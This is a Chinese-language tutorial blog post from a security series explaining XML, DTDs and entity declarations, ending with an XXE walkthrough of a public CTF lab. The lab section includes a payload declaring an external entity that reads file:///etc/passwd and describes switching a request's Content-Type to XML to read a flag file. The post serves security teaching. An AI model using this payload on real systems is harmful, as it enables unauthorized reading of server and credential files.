iT邦幫忙

第 12 屆 iThome 鐵人賽

DAY 15
0
Security

資訊安全的美味雜炊系列 第 15

[Day15] - XXE

  • 分享至 

  • xImage
  •  

Day15 - XXE

前言

  • 今天是web安全的最後一篇,其實web中還有較為困難與複雜的攻擊手法,不過我還想記錄其他領域的筆記,所以就先到這ㄅ

XML

  • 根HTML一樣為標籤語言

    • 標籤語言是由code根tag組成,單獨存在時沒有意義,需經過特定規則解讀後,將其輸出到設備上
    • 是為了傳輸資訊而設計,可以把它當作另類的Json file,但格式不一樣而已
  • 提供結構化的資料格式,可以自由定義

    • 範例如下
      <note>
          <to>Allen</to>
          <from>Bob</from>
          <heading>Information</heading>
          <body>Hello!</body>
      </note>
      

DTD

  • Document Type Definition
  • DTD定義了XML的架構以及XML中有甚麼樣的格式
  • DTD有四個組成的元素
    • 元素(Elements)
      • <!ELEMENT classroom (teather,student)>
    • 屬性(Attribute)
      • <!ATTLIST message id CDATA #REQUIRED>
    • 實體(Entities)
      • <!ENTITY numbers "0912345678">
      • ==這個可以打出洞==
    • 注釋(Comments)
      • <!-- abcdefghijklmnopqrstuvwxyz -->
  • w3school的例子介紹一下DTD的架構
<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>Allen</to>
  <from>Bob</from>
  <heading>Information!</heading>
  <body>Hello!</body>
</note>

內部宣告

  • 定義xml(document definition)
<?xml version="1.0"?>
  • 根元素(root element)
<!DOCTYPE note [
]>
  • 宣告元素(element declarations)
    • 宣告底下有四個元素為note類型
<!ELEMENT note (to,from,heading,body)>
  • 子元素類型(child element declarations)
    • 子元素的類型設定為#PCDATA
    • 有分為CDATAPCDATA
      • CDATA
        • 不該被XML解析器解析的字串
          • 因為在XML元素中<, &是不合法的
      • PCDATA
        • 會被XML解析的字串
<!ELEMENT to      (#PCDATA)>
<!ELEMENT from    (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body    (#PCDATA)>

外部引入DTD

  • 當然也可從外部引入DTD
    • 架構長這樣
      <!DOCTYPE 根元素 SYSTEM "文件名稱">
      
      <!DOCTYPE note SYSTEM "http://127.0.0.1/tmp.dtd">
      

DTD - entity

  • 透過entity能夠方便的抽換XML內容,看個例子

  • 來自w3school

內部引用entity

DTD Example:

<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright W3Schools.">

XML example:

<author>&writer;&copyright;</author>

外部引用entity

  • 透過url引入
DTD Example:

<!ENTITY writer SYSTEM "https://www.w3schools.com/entities.dtd">
<!ENTITY copyright SYSTEM "https://www.w3schools.com/entities.dtd">

XML example:

<author>&writer;&copyright;</author>

參數實體、通用實體

  • 通用實體

    • 格式
      • <!ENTITY NAME "aaa">
    • 在DTD中定義,XML中使用
      <?xml version="1.0"?>
      <!DOCTYPE a [
          <!ENTITY xxe NAME "here is xxe">
      ]>
      <c>&xxe;</c>
      
  • 參數實體

    • 格式
      • <!ENTITY % NAME "aaa">
    • 只能在DTD定義中使用
      • xml

        <?xml version="1.0"?>
        
        <!DOCTYPE a [
            <!ENTITY % b SYSTEM "http://localhost/test.dtd">
            %b;
        ]>
        
        <c>&xxe;</c>
        
      • http://localhost/test.dtd

        <!ENTITY xxe SYSTEM "here is xxe">
        

洞在哪 - XXE(XML external Entity)

Lab(CTF) - XXE

  • http://web.jarvisoj.com:9882/

    • 路上撿到的XXE練習場,是浙江大學的web CTF的某一提
    • 想辦法要拿到/home/ctf/flag.txt裡面的flag
  • 思路:用剛剛學到的外部實體引入檔案,payload如下

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
  • 用burp攔下封包,發現api是以POST形式發出request
    • Content-Type為JSON
  • 將Content-Type轉為XML,搭上我們的payload
    • 發現能讀檔案
  • 讀取題目所要的flag,flag馬了讓讀者自己找看看

ref


上一篇
[Day14] - SSTI(Server-side template injection)(2)
下一篇
[Day16] - Rev 0x1 介紹
系列文
資訊安全的美味雜炊30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言